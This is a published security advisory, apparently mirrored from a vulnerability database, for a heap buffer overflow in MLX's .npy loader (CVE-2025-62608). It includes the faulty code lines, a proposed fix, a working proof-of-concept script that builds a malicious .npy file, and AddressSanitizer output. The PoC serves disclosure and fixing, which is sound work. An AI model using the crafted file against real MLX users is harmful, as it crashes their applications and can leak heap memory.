GHSA-W6VG-JG77-2QG6
Vulnerability from github – Published: 2025-11-21 18:02 – Updated: 2025-11-21 22:18
VLAI?
Summary
MLX has heap-buffer-overflow in load()
Details
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276):
bool col_contiguous = header[34] == 'T'; // No bounds check
Possible Fix
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
PoC
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
#6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3179==ABORTING
Impact
- Attack vector: Malicious
.npyfile (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
- Result: Application crash + potential 13-byte heap leak
Credits: - Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)
Severity ?
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.29.3"
},
"package": {
"ecosystem": "PyPI",
"name": "mlx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.29.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62608"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-21T18:02:38Z",
"nvd_published_at": "2025-11-21T19:16:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nHeap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.\n\nEnvironment:\n- OS: Ubuntu 20.04.6 LTS\n- Compiler: Clang 19.1.7\n\n## Vulnerability\n\nThe parser reads a 118-byte header from the file, but line 268 uses `std::string(\u0026buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.\n\n**Location**: `mlx/io/load.cpp:268,276`\n\n**Bug #1** (line 268):\n```cpp\nstd::string header(\u0026buffer[0]); // stops at first null byte\n```\n\n**Bug #2** (line 276):\n```cpp\nbool col_contiguous = header[34] == \u0027T\u0027; // No bounds check\n```\n\n## Possible Fix\n\n```cpp\n// Line 268\nstd::string header(\u0026buffer[0], header_len);\n\n// Line 276\nif (header.length() \u003c 35) throw std::runtime_error(\"Malformed header\");\n```\n\n## PoC\n\n```bash\npip install mlx\n\n# generate exploit\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport struct\nmagic = b\u0027\\x93NUMPY\u0027\nversion = b\u0027\\x01\\x00\u0027\nheader = b\"{\u0027descr\u0027: \u0027\u003cu2\u0027, \u0027fo\\x00\\x00\\x00\\x00n_order\u0027: False, \u0027shape\u0027: (3,), }\"\nheader += b\u0027 \u0027 * (118 - len(header) - 1) + b\u0027\\n\u0027\nwith open(\u0027exploit.npy\u0027, \u0027wb\u0027) as f:\n f.write(magic + version + struct.pack(\u0027\u003cH\u0027, 118) + header + b\u0027\\x00\\x00\\x00\\x80\\xff\\xff\u0027)\nEOF\npython3 exploit.py\n\npython3 -c \"import mlx.core as mx; mx.load(\u0027exploit.npy\u0027)\"\n```\n\n**AddressSanitizer Output (with instrumented build)**:\n```\n=================================================================\n==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48\nREAD of size 1 at 0x503000000152 thread T0\n #0 0x563345697c28 in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:276:25\n #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:328:10\n #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n\n0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)\nallocated by thread T0 here:\n #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n #1 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct\u003cchar const*\u003e(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14\n #2 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct_aux\u003cchar const*\u003e(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11\n #3 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct\u003cchar const*\u003e(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4\n #4 0x5633456956fe in std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::basic_string\u003cstd::allocator\u003cchar\u003e\u003e(char const*, std::allocator\u003cchar\u003e const\u0026) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9\n #5 0x5633456956fe in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:268:15\n #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:328:10\n #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e)\nShadow bytes around the buggy address:\n 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00\n 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n=\u003e0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa\n 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==3179==ABORTING\n```\n\n## Impact\n\n- **Attack vector**: Malicious `.npy` file (model weights, datasets, checkpoints)\n- **Affects**: MLX users on all platforms who call the vulnerable methods with unsanitized input.\n- **Result**: Application crash + potential 13-byte heap leak\n\n\n---\n\nCredits:\n- Markiyan Melnyk (ARIMLABS)\n- Mykyta Mudryi (ARIMLABS)\n- Markiyan Chaklosh (ARIMLABS)",
"id": "GHSA-w6vg-jg77-2qg6",
"modified": "2025-11-21T22:18:13Z",
"published": "2025-11-21T18:02:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62608"
},
{
"type": "WEB",
"url": "https://github.com/ml-explore/mlx/pull/1"
},
{
"type": "WEB",
"url": "https://github.com/ml-explore/mlx/pull/2"
},
{
"type": "PACKAGE",
"url": "https://github.com/ml-explore/mlx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "MLX has heap-buffer-overflow in load()"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…